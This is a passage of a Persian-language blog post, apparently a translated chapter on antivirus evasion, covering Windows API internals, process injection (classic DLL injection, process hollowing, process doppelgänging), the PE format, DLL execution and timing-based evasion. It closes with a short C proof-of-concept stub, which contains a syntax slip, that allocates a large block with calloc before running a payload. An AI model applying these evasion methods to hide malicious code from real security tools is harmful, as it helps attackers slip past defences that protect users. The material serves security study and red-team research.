فضاهای آدرس حافظه داده می شود. هر فضای آدرس حافظه بسته به کد برنامه نویس، فرمت اجرایی مورد استفاده (مانند فرمت PE) و سیستم عاملی که در واقع بارگذاری فرآیند و ویژگی های آن، نگاشت آدرس های مجازی اختصاص داده شده به آدرس های فیزیکی و غیره را بر عهده دارد، هدف متفاوتی دارد. نمودار زیر یک طرح نمونه از یک فضای آدرس فرآیند معمولی را نشان می دهد:اکنون که فهمیدیم تزریق فرآیند چیست، میتوانیم به درک بیشتر ادامه دهیم.مراحل فرآیند تزریق هدف از تزریق فرآیند، همانطور که قبلا ذکر شد، تزریق یک قطعه کد به فضای آدرس حافظه پردازش یک فرآیند دیگر، دادن مجوز اجرای فضای آدرس حافظه و سپس اجرای کد تزریق شده است. این نه تنها برای تزریق یک قطعه کد پوسته بلکه برای تزریق یک DLL یا حتی یک فایل کامل اجرایی (EXE) نیز صدق می کند. برای رسیدن به این هدف، مراحل کلی زیر لازم است: 1. یک فرآیند هدف را شناسایی کنید که در آن کد را تزریق کنید. 2. یک دستگیره برای فرآیند مورد نظر برای دسترسی به فضای آدرس فرآیند آن دریافت کنید. 3. یک فضای آدرس حافظه مجازی که در آن کد تزریق و اجرا می شود، اختصاص دهید و در صورت نیاز یک پرچم اجرایی اختصاص دهید. 4. تزریق کد را به فضای آدرس حافظه اختصاص داده شده فرآیند مورد نظر انجام دهید. 5. در نهایت کد تزریق شده را اجرا کنید. نمودار زیر کل این فرآیند را به شکل ساده شده نشان می دهد:اکنون که این دیدگاه سطح بالا را در مورد نحوه انجام تزریق فرآیند یا تزریق کد داریم، اجازه دهید به توضیح عملکردهای Windows API بپردازیم.ویندوز APIقبل از بررسی عملکردهای Windows API، ابتدا باید درک درستی از چیستی API به معنای کلی داشته باشیم. API پلی است بین دو برنامه کاربردی، سیستمها و معماریهای مختلف. از نظر عملی، هدف اصلی یک تابع API، انتزاعی کردن پیادهسازیهای اساسی است تا به توسعهدهندگان در ایجاد برنامهها کمک کند.Windows API مجموعه اصلی APIهای مایکروسافت است که به توسعهدهندگان این امکان را میدهد تا کدی ایجاد کنند که با عملکردهای زیرین و از پیش نوشته شده ارائه شده توسط سیستم عامل ویندوز در تعامل باشد.چرا ما به API ویندوز نیاز داریم؟برای درک واضحتر این مفهوم، در زیر یک برنامه ساده &quot;Hello World&quot; با کد C ارائه شده است:توجه داشته باشید که در قطعه کد قبلی، یک import از stdio.h وجود دارد که به عنوان فایل هدر شناخته می شود. واردات با استفاده از دستورالعمل #include انجام می شود. این فایل هدر تابعی به نام print f را ارائه می دهد که یک پارامتر را می گیرد: رشته ای که قرار است چاپ شود. تابع print f در واقع حاوی مقدار نسبتاً زیادی کد است که صرفاً یک رشته اصلی را چاپ می کند. این یک مثال عالی است زیرا اهمیت عملکردهای Windows API را برجسته می کند. اینها کارکردهای اساسی زیادی را در اختیار ما قرار می دهند که در غیر این صورت به توسعه خود نیاز داریم. با دسترسی به توابع مبتنی بر API، میتوانیم کد را آسانتر و کارآمدتر و به روشی واضحتر و زیباتر ایجاد کنیم. API های ویندوز و API های بومی - تفاوت ها برای درک عمیقتر آنچه در زیر سیستم عامل ویندوز میگذرد، باید تفاوتهای بین APIهای ویندوز و APIهای بومی را نیز بررسی کنیم. توابع Windows API توابع حالت کاربر هستند که به طور کامل در سایت مایکروسافت مستند شده اند. با این حال، اکثر توابع API ویندوز در واقع از API های بومی برای انجام کار فراخوانی می کنند.یک مثال عالی از این تابع Windows API CreateFile() است که یک فایل ایجاد میکند یا یک دسته برای فایل موجود برای خواندن دادههای آن دریافت میکند. تابع ()CreateFile، مانند هر تابع دیگر API ویندوز، در دو نوع وجود دارد: یک نوع &#039;A&#039; و یک نوع &#039;W&#039;. هنگامی که نوع &#039;A&#039; در یک تابع API ویندوز استفاده می شود، انتظار دارد آرگومان رشته ای موسسه استانداردهای ملی آمریکا (ANSI) را دریافت کند. هنگامی که نوع &#039;W&#039; در یک تابع API ویندوز استفاده می شود، انتظار یک آرگومان رشته ای با کاراکتر گسترده را دارد. در واقع، بیشتر توابع API ویندوز از نوع W استفاده میکنند، اما این بستگی به نحوه ایجاد کد توسط نویسنده کد و انتخاب کامپایلر دارد. هنگامی که یک تابع API ویندوز مانند CreateFile() فراخوانی می شود، بسته به پارامتر ارائه شده توسط توسعه دهنده، ویندوز اجرا را به یکی از دو روتین Native API منتقل می کند: ZwCreateFile یا NtCreateFile.جریان اجرای Windows API - CreateFile در اینجا یک مثال عملی از جریان اجرای CreateFile است که به آن اشاره شد. ما از گزینه File -&gt; Open... در notepad.exe استفاده می کنیم و یک فایل آزمایشی را که قبلا برای این دمو ایجاد کرده ایم باز می کنیم. قبل از انجام این کار، باید از Process Monitor (ProcMon) استفاده کنیم. همانطور که در تصویر زیر نشان داده شده است، در Procmon.exe، فیلترها را تنظیم می کنیم:همانطور که در اینجا دیده میشود، میتوانیم فیلتر Process Name را طوری تنظیم کنیم که فقط و دقیقاً نتایج مربوط به پردازش notepad.exe نمایش داده شود. سپس از فیلتر Operation استفاده میکنیم و مقدار آن را فقط روی CreateFile قرار میدهیم؛ عملیاتی که همانطور که قبلاً توضیح داده شد، یک فایل جدید ایجاد میکند یا یک هندل (Handle) به یک فایل موجود دریافت میکند.در نهایت، از فیلتر Path بههمراه مقدار Demo استفاده میکنیم تا فقط نتایجی نمایش داده شوند که نام فایل آنها شامل رشته Demo باشد.در ادامه، یک اسکرینشات نمایش داده شده است که نتایج را پس از باز شدن فایل توسط notepad.exe نشان میدهد.همانطور که در اینجا مشاهده می شود، عملیات CreateFile همانطور که باید با دسترسی دلخواه Generic Read انجام می شود. بیایید اکنون عمیق تر برویم و درک کنیم که چگونه این عملیات از دیدگاه سطح پایین اجرا می شود. در مثال زیر و در مورد برنامه notepad.exe ویندوز، تابع API ویندوز استفاده شده CreateFilew است. برای درک جریان اجرا باید روی این تابع یک نقطه شکست قرار دهیم. برای این کار از دیباگر حالت کاربری x64dbg استفاده می کنیم. تصویر زیر نشان می دهد که چگونه یک نقطه شکست در تابع CreateFileW تنظیم می شود و نشان می دهد که فرآیند به نقطه شکست رسیده است:در قسمت فرمان x64dbg می توانید دستور bp CreateFilew را ببینید و پس از زدن Enter و کلید F9 برای ادامه اجرا، فرآیند به نقطه شکست می رسد. در آنجا، اکنون میتوانیم دستورالعمل اسمبلی jmp CreateFilew را ببینیم که بخشی از کتابخانه kernel32.dll است.اسکرینشات زیر نشان میدهد که پس از اجرای دستور jump چه اتفاقی میافتد؛ جریان اجرا از کتابخانه kernel32.dll به کتابخانه kernelbase.dll منتقل میشود. این کتابخانه شامل تابع واقعی Windows Native API با نام ZwCreateFile است.در نهایت، در اسکرینشات زیر میتوانید مشاهده کنید که پیش از اجرای دستور syscall، جریان اجرا از کتابخانه kernelbase.dll به کتابخانه ntdll.dll منتقل میشود و سپس از طریق این دستور به لایههای پایینتر سیستمعامل ویندوز، مانند هسته (Kernel)، انتقال مییابد.با داشتن این درک عمیقتر از مفاهیم و شیوههای اساسی زیربنای نحوه مدیریت ویندوز با اجرای فرآیند، اکنون میتوانیم به سه تکنیک تزریق فرآیند بپردازیم.تزریق DLL کلاسیک (Classic DLL Injection)ما به این تکنیک نخست، تزریق DLL کلاسیک میگوییم. این روش با استفاده از شش تابع پایه از Windows API، یک DLL مخرب را مجبور میکند داخل یک پردازش دیگر (پردازش راهدور) بارگذاری شود.توابع مورد استفاده در این روش به شرح زیر هستند:OpenProcessبا استفاده از این تابع و ارائهی شناسهی پردازش هدف (Process ID) بهعنوان یکی از پارامترها، پردازش تزریقکننده یک هندل معتبر به پردازش راهدور دریافت میکند.VirtualAllocExاین تابع برای اختصاص یک بافر حافظه در فضای آدرس پردازش هدف استفاده میشود. این بافر در نهایت شامل مسیر فایل DLL بارگذاریشده خواهد بود.WriteProcessMemoryاین تابع عملیات تزریق واقعی را انجام میدهد و محتوای مخرب (Payload) را مستقیماً داخل حافظهی پردازش هدف مینویسد.CreateRemoteThreadاین تابع یک ترد جدید در داخل پردازش راهدور ایجاد میکند و در نهایت تابع LoadLibrary() را اجرا میکند تا DLL موردنظر بارگذاری شود.LoadLibrary / GetProcAddressاین توابع آدرس DLL بارگذاریشده در پردازش را برمیگردانند. با توجه به اینکه فایل kernel32.dll در تمامی پردازشهای ویندوز در یک آدرس یکسان نگاشت (Map) میشود، میتوان از این توابع برای بهدست آوردن آدرس API موردنظر جهت بارگذاری در پردازش راهدور استفاده کرد.نکته:پردازشهای x86 و x64 چیدمان حافظه متفاوتی دارند و DLLهای بارگذاریشده در فضاهای آدرس متفاوتی نگاشت (Map) میشوند.پس از انجام این شش عملکرد، فایل DLL مخرب در داخل عامل اجرا می شود.سیستم در فضای آدرس فرآیند قربانی هدف.در تصویر اسکرینشات زیر، میتوانید یک بدافزار را مشاهده کنید که از تزریق DLL کلاسیک استفاده میکند؛ این تصویر در نمای IDA Pro نمایش داده شده است:حالا که این تکنیک پایهی تزریق پردازش را درک کردیم، بیایید به سراغ روشهای بعدی برویم.توخالیسازی پردازش (Process Hollowing)دومین تکنیکی که در اینجا بررسی میکنیم، Process Hollowing نام دارد. این روش یکی دیگر از شیوههای رایج برای اجرای کد مخرب در فضای آدرس حافظهی یک پردازش دیگر است، اما به شکلی کمی متفاوت از تزریق DLL کلاسیک عمل میکند.در این تکنیک، ابتدا یک پردازش قانونی در سیستمعامل (برای مثال یک برنامهی عادی) در حالت SUSPENDED ایجاد میشود. سپس محتوای حافظهی این پردازش قانونی تخلیه (توخالی) شده و با محتوای مخرب جایگزین میگردد. این کار همراه با تنظیم آدرس پایهی مناسب برای بخش توخالیشده انجام میشود.به این ترتیب، حتی کاربران حرفهای ویندوز نیز متوجه اجرای یک پردازش مخرب در سیستمعامل نخواهند شد.در ادامه، توابع API مورد استفاده برای اجرای تکنیک تزریق Process Hollowing آورده شدهاند:CreateProcessاین تابع یک پردازش قانونی سیستمعامل (مانند notepad.exe) را با استفاده از پارامتر dwCreationFlags در حالت تعلیق (Suspended) ایجاد میکند.ZwUnmapViewOfSection / NtUnmapViewOfSectionاین توابع از Native API برای Unmap کردن کل فضای حافظهی یک بخش مشخص از پردازش استفاده میشوند. در این مرحله، پردازش قانونی دارای یک بخش توخالیشده میشود که امکان نوشتن محتوای مخرب در آن فراهم میگردد.VirtualAllocExپیش از نوشتن محتوای مخرب، این تابع برای اختصاص فضای حافظهی جدید در پردازش هدف مورد استفاده قرار میگیرد.WriteProcessMemoryهمانطور که در تزریق DLL کلاسیک مشاهده شد، این تابع محتوای مخرب را مستقیماً در حافظهی پردازش مینویسد.SetThreadContext / ResumeThreadاین توابع کانتکست ترد را تنظیم کرده و پردازش را از حالت تعلیق خارج میکنند؛ در نتیجه، پردازش شروع به اجرا میکند.در اسکرینشات زیر، میتوان نمونهای از یک بدافزار را مشاهده کرد که از تکنیک Process Hollowing استفاده میکند. این تصویر در نمای IDA Pro نمایش داده شده است.اسکرینشات قبلی سه فراخوانی اول از توابع API ویندوز را نشان میدهد. اسکرینشات بعدی چهار مورد آخر از این توابع را نمایش میدهد:خالی کردن فرآیندها روشی موثر برای دور زدن نرمافزار آنتیویروس بود، اما موتورهای آنتیویروس امروزی آن را نسبتاً آسان تشخیص میدهند. بیایید به آخرین روند ادامه دهیم - نمونه تزریق.Process Doppelgänging (دوبلگَنگینگ فرایند)سومین و آخرین تکنیکی که در این کتاب توضیح میدهیم Process Doppelgänging نام دارد. این تکنیک جذابِ تزریق فرایند (Process Injection) عمدتاً برای دور زدن موتورهای آنتیویروس استفاده میشود و میتواند از برخی ابزارها و تکنیکهای جرمیابی حافظه (Memory Forensics) نیز فرار کند.Process Doppelgänging از مجموعهای از توابع Windows API و Native API زیر استفاده میکند:CreateFileTransacted:این تابع بر اساس قابلیت NTFS-TXF مایکروسافت، یک فایل، استریم فایل یا دایرکتوری را ایجاد یا باز میکند. از این تابع برای باز کردن یک فرایند قانونی مانند notepad.exe استفاده میشود.WriteFile:این تابع دادهها را در فایلی که قرار است کد در آن تزریق شود، مینویسد.NtCreateSection:این تابع یک Section جدید ایجاد کرده و فایل مخرب را در فرایند هدفی که تازه ایجاد شده بارگذاری میکند.RollbackTransaction:این تابع در نهایت مانع از ذخیره شدن فایل اجرایی تغییریافته (مثلاً notepad.exe) روی دیسک میشود.، NtCreateProcessEx، RtlCreateProcessParametersEx،VirtualAllocEx، WriteProcessMemory،NtCreateThreadEx، NtResumeThread:تمام این توابع برای ایجاد، راهاندازی و اجرای فرایند تغییریافته استفاده میشوند تا فرایند بتواند فعالیت مخرب مورد نظر خود را انجام دهد.در اسکرینشات زیر میتوانید یک فایل PE را مشاهده کنید که از تکنیک Process Doppelgänging استفاده میکند و در نمای IDA Pro نمایش داده شده است.اسکرینشات قبلی اولین دو فراخوانی Windows API را نشان میدهد. اسکرینشات بعدی دو فراخوانی آخر از این توابع را نمایش میدهد.دور زدن آنتیویروس با استفاده از DLLیک DLL فایل کتابخانهای است که شامل تعداد زیادی تابع (گاهی صدها تابع یا بیشتر) میباشد که همانطور که از نامش پیداست، بهصورت پویا (Dynamic) بارگذاری شده و توسط فایلهای Windows PE مورد استفاده قرار میگیرد.فایلهای DLL یا شامل توابع Windows API و Native API هستند، یا این توابع را اِکسپورت (Export) میکنند؛ توابعی که توسط فایلهای اجرایی PE استفاده یا ایمپورت میشوند. این DLLها توسط برنامههای مختلفی مانند نرمافزارهای آنتیویروس مورد استفاده قرار میگیرند و با فراهم کردن امکان فراخوانی طیف گستردهای از توابع از پیش نوشتهشده، فرایند توسعه نرمافزار را برای برنامهنویسان سادهتر میکنند.برای درک بهتر اینکه یک فایل DLL چیست ــ و بهطور کلی سایر انواع فایلهای مبتنی بر PE ــ لازم است با فرمت فایل PE آشنایی داشته باشیم.فایلهای PEفایلهای PE نقش بسیار مهمی در سیستمعامل ویندوز ایفا میکنند. این فرمت فایل توسط فایلهای اجرایی باینری با پسوند .exe و همچنین کتابخانههای DLL با پسوند .dll استفاده میشود؛ اما اینها تنها انواع فایلهایی نیستند که از این فرمت انعطافپذیر بهره میبرند. در ادامه به چند مورد دیگر اشاره شده است:CPL:فایل پایه برای پیکربندیهای Control Panel که نقش اساسی و مهمی در سیستمعامل دارد. نمونهای از آن ncpa.cpl است که فایل پیکربندی رابطهای شبکه موجود در ویندوز میباشد.SYS:فایلهای سیستمی مربوط به درایورهای دستگاه یا پیکربندی سختافزار در سیستمعامل ویندوز که به ویندوز اجازه میدهند با سختافزار و دستگاهها ارتباط برقرار کند.DRV:فایلهایی که برای امکان تعامل رایانه با دستگاههای خاص استفاده میشوند.SCR:فایلهایی که بهعنوان اسکرینسیور (Screen Saver) در سیستمعامل ویندوز استفاده میشوند.OCX:فایلهایی که توسط ویندوز برای کنترلهای ActiveX و برای اهدافی مانند ایجاد فرمها و ویجتهای صفحات وب استفاده میشوند.DLL:برخلاف فایلهای EXE، فایلهای DLL را نمیتوان با دوبار کلیک از روی هارددیسک اجرا کرد. اجرای یک فایل DLL نیازمند یک فرایند میزبان (Host Process) است که توابع آن را ایمپورت کرده و اجرا کند. برای انجام این کار روشهای مختلفی وجود دارد.مانند بسیاری از فرمتهای فایل دیگر (از جمله Executable Linkable Format – ELF و Mach Object – Mach-O)، ساختار فرمت فایل PE از دو بخش اصلی تشکیل شده است:هدرهای PE (PE Headers):که شامل اطلاعات فنی مهم و مرتبط درباره فایلهای مبتنی بر PE هستند.بخشهای PE (PE Sections):که محتوای اصلی فایل PE را در خود جای میدهند.هر یک از این بخشها در فایلهای PE وظیفه و هدف مشخص و متفاوتی را دنبال میکنند.ساختار فرمت فایل PEنمودار زیر ساختار یک فایل mmmArsen.exe را نمایش میدهد:بیایید هدرهای PE را بررسی کنیم.هدرهای PEدر ادامه، توضیح هر یک از هدرهای فایل PE آورده شده است:Disk Operating System &#40;DOS&#41; Header:یک شناسه یا مقدار جادویی (Magic Value) برای شناسایی فایلهای PE است.DOS Stub:یک پیام قدیمی که هنوز در بیشتر فایلهای PE باقی مانده است. این پیام معمولاً عبارتThis program cannot be run in DOS mode:را نمایش میدهد و گاهی اوقات برای دور زدن نرمافزارهای آنتیویروس دستکاری میشود.PE Header:این هدر اساساً اعلام میکند که فایل موردنظر از فرمت PE پیروی میکند.Optional Header:شامل اطلاعات متغیری مانند اندازه کد (Code Size)، نقطه ورود (Entry Point) فایل اجرایی یا کتابخانه، Image Base، Section Alignment و موارد دیگر است.Sections Table:یک جدول مرجع برای هر یک از بخشهای (Sections) فایل PE محسوب میشود.بخشهای PE (PE Sections)در ادامه، توضیح هر یک از بخشهای فایل PE آورده شده است:Code Section (بخش کد):این بخش شامل کد ماشین (Machine Code) برنامه است که در نهایت توسط واحد پردازش مرکزی (CPU) اجرا میشود.Imports Section (بخش ایمپورتها):این بخش شامل توابع مورد نیاز است که از DLLها مانند Kernel32.dll و Ntdll.dll ایمپورت میشوند.Data Section (بخش دادهها):این بخش شامل متغیرها و پارامترهای توابع است که توسط برنامه استفاده میشوند.اجرای فایلهای DLLاولین گزینه، استفاده از rundll32.exe است، که امکان اجرای تابعی موجود در یک فایل DLL را از طریق خط فرمان فراهم میکند.برای مثال، برای اجرای نقطه ورود (Entry Point) با یک آرگومان، میتوان از دستور زیر استفاده کرد:RUNDLL32.EXE &lt;dllname&gt;, &lt;entrypoint&gt; &lt;argument&gt; به عنوان مثال، اسکرینشات زیر نشان میدهد یک فایل DLL تحت rundll32.exe اجرا شده است، حتی با نام تابعی که وجود ندارد.روش دوم برای اجرای فایلهای DLL، بارگذاری آنها در یک فایل EXE با استفاده از توابع LoadLibrary() یا LoadLibraryEx() است.وقتی یک فایل EXE از تابع LoadLibrary() استفاده میکند، نام ماژول را بهعنوان پارامتر به این صورت ارسال میکند:فایل DLL تنها پس از انجام این مرحله میتواند درون فایل EXE که آن را فراخوانی کرده است، اجرا شود.بسیاری از هکرها از این مکانیزم به دلایل زیر استفاده میکنند:. فایلهای DLL معمولاً از دید کاربر عادی مخفی هستند.. هنگامی که یک DLL درون یک فرایند دیگر بارگذاری میشود، به فضای حافظه آن فرایند دسترسی پیدا میکند.. انجام تحلیل داینامیک خودکار (Automatic Dynamic Analysis) روی یک DLL بسیار دشوارتر از یک فایل EXE است.. وقتی یک DLL در یک فرایند بارگذاری میشود، پیدا کردن آن در میان فرایندهای سیستم دشوارتر میشود؛ این موضوع کار تشخیص توسط آنتیویروس و پاسخ به رخدادها (Incident Response) را سختتر میکند.حال که با روش دور زدن آنتیویروس با استفاده از DLL آشنا شدیم، به سراغ یادگیری سومین تکنیک دور زدن آنتیویروس خواهیم رفت: دور زدن آنتیویروس با استفاده از تکنیکهای مبتنی بر زمان (Timing-Based Techniques).دور زدن آنتیویروس با استفاده از تکنیکهای مبتنی بر زمان (Timing‑Based Techniques)برای فروش محصولات امنیتی، شرکتهای تولیدکننده آنتیویروس باید روی دو ویژگی اصلی تأکید کنند:. سطح بالای شناسایی (High Level of Detection): محافظت از کاربر در برابر تهدیدها. کاربرپسند بودن (User‑Friendly): رابط کاربری راحت (UI)، تصاویر واضح، اسکن سریع و موارد دیگربرای مثال، میتوان یک سیستم نهایی (Endpoint) را در نظر گرفت که حدود ۱۰۰٬۰۰۰ فایل دارد. اگر از یک آنتیویروس انتظار حداکثر شناسایی ممکن را داشته باشیم، اسکن تمام این ۱۰۰٬۰۰۰ فایل ممکن است چند روز طول بکشد — و در برخی موارد حتی بیشتر. این یک انتظار افراطی است که شرکتهای آنتیویروس عملاً نه میتوانند و نه قرار است آن را برآورده کنند.برای جلوگیری از چنین وضعیتی، تولیدکنندگان آنتیویروس تمام تلاش خود را میکنند تا زمان انتظار در طول اسکن را بهینه کنند؛ حتی اگر این موضوع به این معنا باشد که در بهترین حالت، دقت شناسایی کمتر شود، یا در بدترین حالت، بدافزار اصلاً شناسایی نشود.شرکتهای آنتیویروس ترجیح میدهند ۱۰۰٬۰۰۰ فایل را در ۲۴ دقیقه با نرخ شناسایی حدود ۷۰٪ اسکن کنند، تا اینکه همان تعداد فایل را در ۲۴ ساعت با نرخ شناسایی حدود ۹۵٪ بررسی نمایند. دقیقاً همین ترجیح است که مهاجمان و پژوهشگران میتوانند از آن برای فرار از شناسایی و در واقع دور زدن آنتیویروس استفاده کنند.چندین تکنیک وجود دارد که میتوان آنها را در قالب دور زدن مبتنی بر زمان به کار برد. در این کتاب، دو تکنیک اصلی توضیح داده میشود:تکنیک اول از فراخوانیهای Windows API استفاده میکند که باعث میشود بدافزار در مدتزمان کوتاه به عملکرد مخرب خود نرسد.تکنیک دوم باعث میشود بدافزار زمان زیادی برای بارگذاری صرف کند؛ در نتیجه نرمافزار آنتیویروس از ادامه اسکن صرفنظر کرده و نتیجه بگیرد که فایل بیخطر است.فراخوانیهای Windows API برای دور زدن آنتیویروسدو فراخوانی Windows API که در این فصل به آنها میپردازیم عبارتاند از:Sleep()این تابع اجرای برنامه را برای مدتزمان مشخصی متوقف میکند.GetTickCount()این تابع تعداد میلیثانیههایی را که از زمان راهاندازی سیستم گذشته است، برمیگرداند.این دو تابع معمولاً در تکنیکهای دور زدن آنتیویروس مبتنی بر زمان استفاده میشوند تا رفتار برنامه بهگونهای تنظیم شود که از شناسایی توسط آنتیویروس جلوگیری کند.در گذشته، نویسندگان بدافزار از تابع Sleep() استفاده میکردند تا اجرای عملکرد مخرب بدافزار را برای چند ثانیه، چند دقیقه، چند ساعت یا حتی چند روز به تأخیر بیندازند. به این ترتیب، بدافزار میتوانست با انجام ضدتحلیل (Anti‑Analysis) از شناسایی فرار کند و کار را برای نرمافزارهای آنتیویروس و تحلیلگران بدافزار دشوارتر سازد.اما امروزه، برای مثال زمانی که موتور استاتیک یک آنتیویروس وجود تابع Sleep() را در یک فایل تشخیص میدهد، موتور آنتیویروس باعث میشود شبیهساز (Emulator) آن وارد این تابع شده و فایل را به مدت زمانی که تابع مشخص کرده است اجرا کند.به عنوان نمونه، اگر موتور استاتیک تابع Sleep() را با تأخیر ۴۸ ساعته شناسایی کند، شبیهساز آنتیویروس عملیات شبیهسازی را بهگونهای انجام میدهد که گویی ۴۸ ساعت گذشته است؛ در نتیجه، مکانیزم «دفاعی» بدافزار عملاً بیاثر میشود.این موضوع دلیل اصلی آن است که تابع Sleep() امروزه دیگر گزینه مناسبی برای دور زدن آنتیویروس محسوب نمیشود. بنابراین، برای استفاده از تکنیکهای دور زدن مبتنی بر زمان، باید از توابع دیگری استفاده کنیم؛ توابعی مانند GetTickCount().تابع GetTickCount() هیچ پارامتری دریافت نمیکند، اما مدت زمانی را که سیستمعامل در حال اجرا بوده است، بر حسب میلیثانیه (ms) برمیگرداند. حداکثر مقداری که این تابع میتواند بازگرداند ۴۹٫۷ روز است.با استفاده از این تابع، بدافزار تشخیص میدهد که سیستمعامل چه مدت در حال اجرا بوده و بر اساس آن تصمیم میگیرد بهترین زمان برای اجرای عملکردهای مخرب چه زمانی است و — البته — آیا اصلاً اجرای آنها توصیه میشود یا خیر.اسکرینشات زیر، تابع Sleep() را درون یک فایل PE نشان میدهد.Memory Bombing – تخصیص حافظه بزرگیکی دیگر از راهها برای سوءاستفاده از زمان محدودی که نرمافزار آنتیویروس برای بررسی هر فایل در اختیار دارد، انجام تخصیص حافظه بسیار بزرگ در داخل کد بدافزار است.این کار باعث میشود آنتیویروس برای بررسی اینکه فایل مخرب است یا سالم، منابع بسیار زیادی مصرف کند. زمانی که آنتیویروس برای انجام یک اسکن ساده روی حجم نسبتاً بزرگی از حافظه، منابع بیش از حد مصرف میکند، ناچار میشود از ادامه تشخیص فایل مخرب صرفنظر کند. به این تکنیک Memory Bombing گفته میشود.قبل از آنکه به یک مثال عملی از نحوه دور زدن آنتیویروس با استفاده از این تکنیک بپردازیم، ابتدا باید مکانیزم تخصیص حافظه را درک کنیم؛ از جمله اینکه هنگام استفاده از تابع malloc() دقیقاً چه اتفاقی در حافظه رخ میدهد و تفاوت بین malloc() و calloc() چیست. همچنین یک Proof‑of‑Concept عملی را بررسی خواهیم کرد که اثربخشی این تکنیک را نشان میدهد.malloc() چیست؟دستور malloc() تابعی از زبان C است که تا حدی در اکثر سیستمعاملهای رایج مانند Linux، macOS و البته Windows مورد استفاده قرار میگیرد.هنگام نوشتن یک برنامه مبتنی بر C/C++، میتوان تابع malloc() را بهصورت یک اشارهگر (Pointer) تعریف کرد؛ به این شکل:void *malloc(size);پس از اجرای این تابع، مقدار بازگشتی یک اشارهگر به حافظه تخصیصیافته در Heap فرایند است (و در صورت شکست اجرای تابع، مقدار NULL بازگردانده میشود).نکته مهم این است که آزادسازی حافظه تخصیصیافته بر عهده برنامهنویس است و این کار با استفاده از تابع free() انجام میشود؛ به این صورت:free(*ptr);پارامتر *ptr در تابع free() همان اشارهگر به حافظهای است که قبلاً با استفاده از malloc() تخصیص داده شده بود.اهمیت آزادسازی حافظه از دید مهاجماز دید یک مهاجم، آزادسازی فضای حافظه تخصیصیافته بسیار حیاتی است؛ زیرا این کار بهویژه برای پاک کردن دادههایی اهمیت دارد که ممکن است بهعنوان مدرک توسط تیمهای آبی (Blue Teams)، کارشناسان جرمیابی دیجیتال و تحلیلگران بدافزار مورد استفاده قرار گیرند.نمودار زیر نشان میدهد که تابع malloc() چگونه یک بلوک از حافظه را درون حافظه Heap یک فرایند تخصیص میدهد:مقایسه calloc() با malloc()تابع calloc() یکی دیگر از توابعی است که میتوان از آن برای تخصیص حافظه در Heap یک فرایند استفاده کرد. برخلاف malloc() که فقط درخواست تخصیص حافظه میدهد اما آن حافظه را با هیچ دادهای پر نمیکند و بهصورت مقداردهینشده (Uninitialized) باقی میگذارد، تابع calloc() تمام حافظه تخصیصیافته را مقداردهی اولیه کرده و با بیتهای صفر (Zero Bits) پر میکند.با این درک پایهای از نحوه تخصیص حافظه، اکنون به سراغ مثال عملی زیر میرویم.در ادامه، یک نمونه Proof‑of‑Concept از تکنیک Memory Bombing آورده شده است که به زبان C نوشته شده است:int main()
{
    char *memory_bombing NULL;
    memory_bombing = (char *) calloc(200000000, sizeof(char));

    if (memory_bombing != NULL)
    {
        free(memory_bombing);
        payload();
    }
    return 0;
}این مثال نشان میدهد که چگونه با استفاده از calloc() میتوان مقدار بسیار بزرگی از حافظه را تخصیص داد تا از این طریق، آنتیویروس را وادار به مصرف منابع زیاد کرده و فرایند تشخیص را مختل کرد.این کد یک تابع main() تعریف میکند که در نهایت تابع calloc() را با دو پارامتر اجرا میکند (تعداد عناصر و اندازه کلی هر عنصر). سپس دستور if بررسی میکند که مقدار بازگشتی یک اشارهگر معتبر باشد. در این نقطه، پس از اجرای تابع calloc()، آنتیویروس از ادامه اسکن صرفنظر میکند و بدین ترتیب کد ما آنتیویروس را دور میزند.در ادامه، حافظه تخصیصیافته با فراخوانی تابع free() و دادن اشارهگر به حافظه تخصیصیافته آزاد میشود و در نهایت Shellcode مخرب ما اجرا میشود.خلاصه جریان عملیاتی که در این کد رخ میدهد به شرح زیر است:تعریف تابع main().اعلام یک متغیر اشارهگر به نام memory_bombing از نوع char با مقدار NULL.مقداردهی متغیر memory_bombing با اشارهگر حاصل از حافظه تخصیصیافته توسط calloc(). در این نقطه، آنتیویروس برای اسکن فایل دچار مشکل شده و از ادامه اسکن صرفنظر میکند.برای حفظ کدنویسی تمیز و درست، بررسی میکنیم که مقدار بازگشتی memory_bombing یک اشارهگر معتبر به حافظه تخصیصیافته باشد.در نهایت، حافظه تخصیصیافته با استفاده از تابع free() آزاد شده و Shellcode مخرب مورد نظر با فراخوانی تابع payload() اجرا میشود.اکنون بیایید منطق پشت این تکنیک دور زدن آنتیویروس را درک کنیم.منطق پشت این تکنیکمنطق این نوع از تکنیکهای دور زدن آنتیویروس بر این اساس است که موتور داینامیک آنتیویروس برای شناسایی کدهای مخرب در فرایندهای تازه ایجادشده، اقدام به تخصیص حافظه مجازی میکند تا فرایند اجراشده را در یک محیط ایزوله (Sandbox) از نظر وجود کد مخرب اسکن کند.مقدار حافظهای که به این منظور تخصیص داده میشود محدود است؛ زیرا موتورهای آنتیویروس نمیخواهند تجربه کاربری (UX) را تحت تأثیر منفی قرار دهند. به همین دلیل، اگر ما مقدار بسیار بزرگی از حافظه را تخصیص دهیم، موتورهای آنتیویروس ترجیح میدهند از ادامه اسکن عقبنشینی کنند و همین موضوع راه را برای اجرای Payload مخرب ما هموار میسازد.خلاصهدر این فصل از کتاب، ابتدا به آمادهسازی برای پژوهش در زمینه دور زدن آنتیویروس پرداختیم و دیدگاه اصلی خود را درباره این موضوع بیان کردیم؛ از جمله استفاده از پلتفرمهایی مانند VirusTotal و جایگزینهای دیگر آن. علاوه بر این، با توابع Windows API و نحوه استفاده آنها در سیستمعامل ویندوز آشنا شدید، همچنین مفاهیمی مانند فضای آدرس فرایندها و سه تکنیک مختلف تزریق فرایند (Process Injection) را بررسی کردیم.سپس شما را با دانشی تکمیلی آشنا کردیم؛ از جمله انواع رایج فایلهای PE، ساختار فایل PE، نحوه اجرای فایلهای DLL و اینکه چرا مهاجمان از فایلهای DLL بهعنوان بخش جداییناپذیر حملات خود استفاده میکنند.در ادامه، به بررسی حملات مبتنی بر زمان (Timing‑Based Attacks) پرداختیم و دیدیم که چگونه از توابع Sleep() و GetTickCount() برای فرار از شناسایی آنتیویروس استفاده میشود. همچنین بررسی کردیم که چرا تابع Sleep() در تکنیکهای مدرن دور زدن آنتیویروس دیگر کاربرد چندانی ندارد.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 28 Dec 2025 12:14:14 +0330</pubDate>
            </item>
            </channel>
</rss>